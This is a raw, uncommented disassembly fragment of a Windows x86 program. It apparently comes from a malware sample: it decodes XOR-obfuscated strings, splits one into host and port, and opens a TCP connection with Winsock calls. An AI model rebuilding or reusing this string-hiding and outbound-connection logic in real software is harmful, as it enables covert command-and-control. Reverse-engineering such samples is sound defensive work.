pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
mov eax, dword [0x446910]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.ZDPYWSH_IWP.A]
pxor xmm1, xmm0
movd dword [ebp - 0x60], xmm1
movaps xmm2, xmmword [0x446870]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x5c]
pxor xmm1, xmm0
movd dword [ebp - 0x5c], xmm1
mov ecx, 8
mov dword [ebp - 0x24], ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [ebp + ecx - 0x60], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0xd
jl 0x40bb81
push 0
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x168]
call fcn.00403540
push eax
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x11c]
call fcn.00403540
push eax
lea edx, [ebp - 0x3bc]
lea ecx, [ebp - 0xec]
call fcn.004080a0
add esp, 4
mov ecx, eax
call fcn.00412840
mov esi, eax
lea ecx, [ebp - 0xec]
call fcn.004034a0
lea ecx, [ebp - 0x11c]
call fcn.004034a0
lea ecx, [ebp - 0x168]
call fcn.004034a0
cmp esi, 0xffffffff
jne 0x4117fd
mov dword [ebp - 0x28], reloc.OLEAUT32.dll_SysReAllocString
movq xmm0, qword [str.eDXLYOrSZ_c]
movq qword [ebp - 0x48], xmm0
mov eax, dword [0x446810]
mov dword [ebp - 0x40], eax
cmp byte [0x446813], 0
je 0x40bd8d
xor ecx, ecx
mov dword [ebp - 0x24], ecx
cmp edi, 2
jl 0x40bd60
movaps xmm4, xmmword [0x446930]
mov eax, 4
movd xmm5, eax
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x446860]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
mov eax, dword [0x446910]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.eDXLYOrSZ_c]
pxor xmm1, xmm0
movd dword [ebp - 0x48], xmm1
movaps xmm2, xmmword [0x446870]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x44]
pxor xmm1, xmm0
movd dword [ebp - 0x44], xmm1
mov ecx, 8
mov dword [ebp - 0x24], ecx
nop word [eax + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [ebp + ecx - 0x48], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0xc
jl 0x40bd60
movups xmm0, xmmword [str.fyqlniyasV3_02e]
movups xmmword [ebp - 0x331], xmm0
movups xmm0, xmmword [0x445f98]
movups xmmword [ebp - 0x321], xmm0
movq xmm0, qword [0x445fa8]
movq qword [ebp - 0x311], xmm0
mov eax, dword [0x445fb0]
mov dword [ebp - 0x309], eax
mov al, byte [0x445fb4]
mov byte [ebp - 0x305], al
xor ecx, ecx
mov dword [ebp - 0x24], ecx
lea esi, [ecx + 4]
cmp edi, 2
jl 0x40bf30
movaps xmm4, xmmword [0x446860]
movaps xmm3, xmmword [0x446930]
movd xmm5, esi
movaps xmm6, xmmword [0x4468a0]
mov eax, 0x1f
movd xmm7, eax
movaps xmm0, xmmword [0x446910]
movaps xmmword [ebp - 0x130], xmm0
mov edx, dword [ebp - 0x130]
nop word [eax + eax]
movd xmm0, ecx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x331]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x331], xmm1
lea eax, [ecx + 4]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x32d]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x32d], xmm1
add ecx, 8
cmp ecx, 0x28
jl 0x40be20
mov dword [ebp - 0x24], ecx
cmp ecx, 0x2d
jge 0x40bf60
nop dword [eax + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [ebp + ecx - 0x331], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x2d
jl 0x40bf30
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x11c]
call fcn.00403540
push eax
lea eax, [ebp - 0x331]
push eax
lea ecx, [ebp - 0xec]
call fcn.00403540
push eax
lea edx, [ebp - 0x28]
lea ecx, [ebp - 0x98c]
call fcn.0041a670
add esp, 8
lea ecx, [ebp - 0xec]
call fcn.004034a0
lea ecx, [ebp - 0x11c]
call fcn.004034a0
mov byte [ebp - 0x4d], 0
mov byte [ebp - 0x31], 0
mov byte [ebp - 0x4e], 0
mov byte [ebp - 0x4f], 0
lea eax, [ebp - 0x62]
push eax
push dword [ebp - 0x38]
lea ecx, [ebp - 0x3dc]
call fcn.004045a0
push 0x44aac0
lea ecx, [ebp - 0x3dc]
call fcn.00403e10
mov ecx, dword [str.jdviuo_]
mov dword [ebp - 0x74], ecx
mov eax, dword [0x446634]
mov dword [ebp - 0x70], eax
cmp byte [0x446637], 0
je 0x40c135
xor edx, edx
mov dword [ebp - 0x24], edx
cmp edi, 2
jl 0x40c105
movaps xmm4, xmmword [0x446930]
movd xmm5, esi
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x446860]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
mov eax, dword [0x446910]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, ecx
pxor xmm1, xmm0
movd dword [ebp - 0x74], xmm1
movaps xmm2, xmmword [0x446870]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x446634]
pxor xmm1, xmm0
movd dword [ebp - 0x70], xmm1
jmp 0x40c135
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x24]
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x35
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x74], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 8
jl 0x40c105
mov ax, word [0x44611c]
mov word [ebp - 0x64], ax
test ah, ah
je 0x40c180
xor edx, edx
mov dword [ebp - 0x24], edx
nop dword [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x24]
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x35
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x64], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 2
jl 0x40c150
mov ax, word [0x4465ec]
mov word [ebp - 0xba], ax
mov al, byte [0x4465ee]
mov byte [ebp - 0xb8], al
xor edx, edx
mov dword [ebp - 0x24], edx
nop dword [eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x24]
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x35
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0xba], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 3
jl 0x40c1a0
mov ax, word [0x4467e4]
mov word [ebp - 0xbd], ax
mov al, byte [0x4467e6]
mov byte [ebp - 0xbb], al
xor edx, edx
mov dword [ebp - 0x24], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x24]
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x35
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0xbd], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 3
jl 0x40c1f0
mov ax, word [0x4467bc]
mov word [ebp - 0xc0], ax
mov al, byte [0x4467be]
mov byte [ebp - 0xbe], al
xor edx, edx
mov dword [ebp - 0x24], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x24]
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x35
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0xc0], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 3
jl 0x40c240
lea eax, [ebp - 0xff]
push eax
lea ecx, [ebp - 0x4d]
call fcn.00411960
mov dword [ebp - 0x30], eax
cmp byte [eax + 1], 0
je 0x40c2c6
xor ecx, ecx
mov dword [ebp - 0x4c], ecx
mov edi, eax
lea esi, [ecx + edi]
mov eax, 0x3521cfb3
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x35
xor byte [esi], cl
mov ecx, dword [ebp - 0x4c]
inc ecx
mov dword [ebp - 0x4c], ecx
cmp ecx, 2
jl 0x40c292
mov edi, dword [0x44b508]
lea eax, [ebp - 0x103]
push eax
lea ecx, [ebp - 0x31]
call fcn.00411980
mov dword [ebp - 0xcc], eax
cmp byte [eax + 1], 0
je 0x40c324
xor ecx, ecx
mov dword [ebp - 0x4c], ecx
mov edi, eax
nop dword [eax + eax]
lea esi, [edi + ecx]
mov eax, 0x3521cfb3
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x35
xor byte [esi], cl
mov ecx, dword [ebp - 0x4c]
inc ecx
mov dword [ebp - 0x4c], ecx
cmp ecx, 2
jl 0x40c2f0
mov edi, dword [0x44b508]
lea eax, [ebp - 0x101]
push eax
lea ecx, [ebp - 0x4e]
call fcn.00411960
mov dword [ebp - 0x140], eax
cmp byte [eax + 1], 0
je 0x40c37a
xor ecx, ecx
mov dword [ebp - 0x4c], ecx
mov edi, eax
lea esi, [edi + ecx]
mov eax, 0x3521cfb3
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x35
xor byte [esi], cl
mov ecx, dword [ebp - 0x4c]
inc ecx
mov dword [ebp - 0x4c], ecx
cmp ecx, 2
jl 0x40c346
mov edi, dword [0x44b508]
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x4f]
call fcn.00411930
mov esi, eax
mov dword [ebp - 0x4c], esi
cmp byte [esi + 0xc], 0
je 0x40c4e7
xor ecx, ecx
mov dword [ebp - 0x24], ecx
cmp edi, 2
jl 0x40c4a7
movaps xmm4, xmmword [0x446930]
mov eax, 4
movd xmm5, eax
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x446860]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
mov eax, dword [0x446910]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [esi]
pxor xmm1, xmm0
movd dword [esi], xmm1
movaps xmm2, xmmword [0x446870]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [esi + 4]
pxor xmm1, xmm0
movd dword [esi + 4], xmm1
mov ecx, 8
mov dword [ebp - 0x24], ecx
mov edi, esi
nop dword [eax]
lea esi, [edi + ecx]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0xd
jl 0x40c4b0
mov edi, dword [0x44b508]
mov esi, dword [ebp - 0x4c]
lea eax, [ebp - 0x3dc]
push eax
push 0x445d8c
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x470]
call fcn.00403540
push eax
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x488]
call fcn.00403540
push eax
lea eax, [ebp - 0x98c]
push eax
lea eax, [ebp - 0xba]
push eax
lea ecx, [ebp - 0x4a0]
call fcn.00403540
push eax
lea eax, [ebp - 0x4b8]
push eax
lea eax, [ebp - 0xbd]
push eax
lea ecx, [ebp - 0x4e4]
call fcn.00403540
push eax
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x6a4]
call fcn.00403540
push eax
lea edx, [ebp - 0x3bc]
lea ecx, [ebp - 0x68c]
call fcn.004080a0
add esp, 4
push eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x674]
call fcn.00403540
push eax
lea ecx, [ebp - 0x65c]
call fcn.00407ae0
push eax
push dword [ebp - 0xcc]
lea ecx, [ebp - 0x644]
call fcn.00403540
push eax
lea ecx, [ebp - 0x62c]
call fcn.00407b60
push eax
push dword [ebp - 0x140]
lea ecx, [ebp - 0x614]
call fcn.00403540
push eax
push esi
lea ecx, [ebp - 0x5c4]
call fcn.00403540
push eax
lea edx, [ebp - 0x3bc]
lea ecx, [ebp - 0x59c]
call fcn.004080a0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x584]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x5fc]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x55c]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x544]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x52c]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x514]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x368]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x400]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x420]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x3a4]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x168]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x11c]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xec]
call fcn.004142b0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1a8]
call fcn.004146c0
add esp, 4
lea ecx, [ebp - 0xec]
call fcn.004034a0
lea ecx, [ebp - 0x11c]
call fcn.004034a0
lea ecx, [ebp - 0x168]
call fcn.004034a0
lea ecx, [ebp - 0x3a4]
call fcn.004034a0
lea ecx, [ebp - 0x420]
call fcn.004034a0
lea ecx, [ebp - 0x400]
call fcn.004034a0
lea ecx, [ebp - 0x368]
call fcn.004034a0
lea ecx, [ebp - 0x514]
call fcn.004034a0
lea ecx, [ebp - 0x52c]
call fcn.004034a0
lea ecx, [ebp - 0x544]
call fcn.004034a0
lea ecx, [ebp - 0x55c]
call fcn.004034a0
lea ecx, [ebp - 0x5fc]
call fcn.004034a0
lea ecx, [ebp - 0x584]
call fcn.004034a0
lea ecx, [ebp - 0x59c]
call fcn.004034a0
lea ecx, [ebp - 0x5c4]
call fcn.004034a0
lea ecx, [ebp - 0x614]
call fcn.004034a0
lea ecx, [ebp - 0x62c]
call fcn.004034a0
lea ecx, [ebp - 0x644]
call fcn.004034a0
lea ecx, [ebp - 0x65c]
call fcn.004034a0
lea ecx, [ebp - 0x674]
call fcn.004034a0
lea ecx, [ebp - 0x68c]
call fcn.004034a0
lea ecx, [ebp - 0x6a4]
call fcn.004034a0
lea ecx, [ebp - 0x4e4]
call fcn.004034a0
lea ecx, [ebp - 0x4a0]
call fcn.004034a0
lea ecx, [ebp - 0x488]
call fcn.004034a0
lea ecx, [ebp - 0x470]
call fcn.004034a0
lea ecx, [ebp - 0x3dc]
call fcn.004034a0
mov byte [ebp - 0x4f], 0
mov byte [ebp - 0x4e], 0
lea eax, [ebp - 0x75]
push eax
lea ecx, [ebp - 0x4f]
call fcn.004119a0
mov dword [ebp - 0x30], eax
cmp byte [eax + 8], 0
je 0x40c844
xor ecx, ecx
mov dword [ebp - 0x4c], ecx
mov edi, eax
nop dword [eax + eax]
lea esi, [ecx + edi]
mov eax, 0x3521cfb3
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x35
xor byte [esi], cl
mov ecx, dword [ebp - 0x4c]
inc ecx
mov dword [ebp - 0x4c], ecx
cmp ecx, 9
jl 0x40c810
mov edi, dword [0x44b508]
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x4e]
call fcn.00411930
mov edx, eax
mov dword [ebp - 0x4c], edx
cmp byte [edx + 0xc], 0
je 0x40c9a2
xor ecx, ecx
mov dword [ebp - 0x24], ecx
cmp edi, 2
jl 0x40c971
movaps xmm4, xmmword [0x446930]
mov eax, 4
movd xmm5, eax
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x446860]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
mov eax, dword [0x446910]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edx]
pxor xmm1, xmm0
movd dword [edx], xmm1
movaps xmm2, xmmword [0x446870]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edx + 4]
pxor xmm1, xmm0
movd dword [edx + 4], xmm1
mov ecx, 8
mov dword [ebp - 0x24], ecx
lea esi, [edx + ecx]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0xd
mov edx, dword [ebp - 0x4c]
jl 0x40c971
xor ecx, ecx
call fcn.00406390
push edx
push eax
lea ecx, [ebp - 0x400]
call fcn.004063a0
add esp, 8
push eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x420]
call fcn.00403540
push eax
push 0x4458bb
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x3a4]
call fcn.00403540
push eax
lea edx, [ebp - 0x3bc]
lea ecx, [ebp - 0x168]
call fcn.004080a0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x11c]
call fcn.004142b0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xec]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x800]
call fcn.004146c0
add esp, 4
lea ecx, [ebp - 0xec]
call fcn.004034a0
lea ecx, [ebp - 0x11c]
call fcn.004034a0
lea ecx, [ebp - 0x168]
call fcn.004034a0
lea ecx, [ebp - 0x3a4]
call fcn.004034a0
lea ecx, [ebp - 0x420]
call fcn.004034a0
lea ecx, [ebp - 0x400]
call fcn.004034a0
mov edi, 2
nop dword [eax + eax]
mov ecx, 0x44c000
call fcn.00405a00
mov dword [ebp - 0x4c], eax
mov ecx, 0x44c000
call fcn.00411fa0
mov dword [ebp - 0x370], eax
nop dword [eax]
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x370]
je 0x411758
push eax
lea ecx, [ebp - 0xec]
call fcn.00403580
push 0x3a
lea edx, [ebp - 0xec]
lea ecx, [ebp - 0x60]
call fcn.00407e50
add esp, 4
mov dword [ebp - 4], 0
lea eax, [ebp - 0x2438]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40cb36
mov byte [ebp - 0x4f], 0
lea eax, [ebp - 0x1e25]
push eax
lea ecx, [ebp - 0x4f]
call fcn.004119c0
mov edi, eax
cmp byte [edi + 0xe], 0
je 0x41180b
xor ecx, ecx
mov dword [ebp - 0x2f8], ecx
cmp ecx, 0xf
jge 0x41180b
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2f8]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x40cafc
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
mov dword [ebp - 0x3c], esi
cmp esi, 0xffffffff
jne 0x40cbad
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov byte [ebp - 0x4e], 0
lea eax, [ebp - 0x8fa]
push eax
lea ecx, [ebp - 0x4e]
call fcn.00411a00
mov edi, eax
cmp byte [edi + 0xa], 0
je 0x411828
xor ecx, ecx
mov dword [ebp - 0x2fc], ecx
cmp ecx, 0xb
jge 0x411828
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2fc]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x40cb73
mov word [ebp - 0x5e4], di
push 1
lea ecx, [ebp - 0x60]
call fcn.00411f80
mov ecx, eax
call fcn.00403420
push eax
call fcn.004247f8
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x5e2], ax
push 0
lea ecx, [ebp - 0x60]
call fcn.00411f80
mov ecx, eax
call fcn.00403420
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x5e0], eax
push 0x10
lea eax, [ebp - 0x5e4]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40cc77
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov byte [ebp - 0x4d], 0
lea eax, [ebp - 0x12f]
push eax
lea ecx, [ebp - 0x4d]
call fcn.00411a30
mov edi, eax
cmp byte [edi + 0xe], 0
je 0x411845
xor ecx, ecx
mov dword [ebp - 0x300], ecx
cmp ecx, 0xf
jge 0x411845
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x300]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x40cc3d
mov byte [ebp - 0x31], 0
lea eax, [ebp - 0x6fa]
push eax
lea ecx, [ebp - 0x31]
call fcn.00411a70
mov edi, eax
cmp byte [edi + 5], 0
je 0x40ccca
xor ecx, ecx
mov dword [ebp - 0x304], ecx
cmp ecx, 6
jge 0x40ccca
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x304]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x40cc94
push 0x445d90
push 0x44aaa8
lea ecx, [ebp - 0x9d4]
call fcn.00403580
push eax
push edi
lea ecx, [ebp - 0x9bc]
call fcn.00403540
mov edx, eax
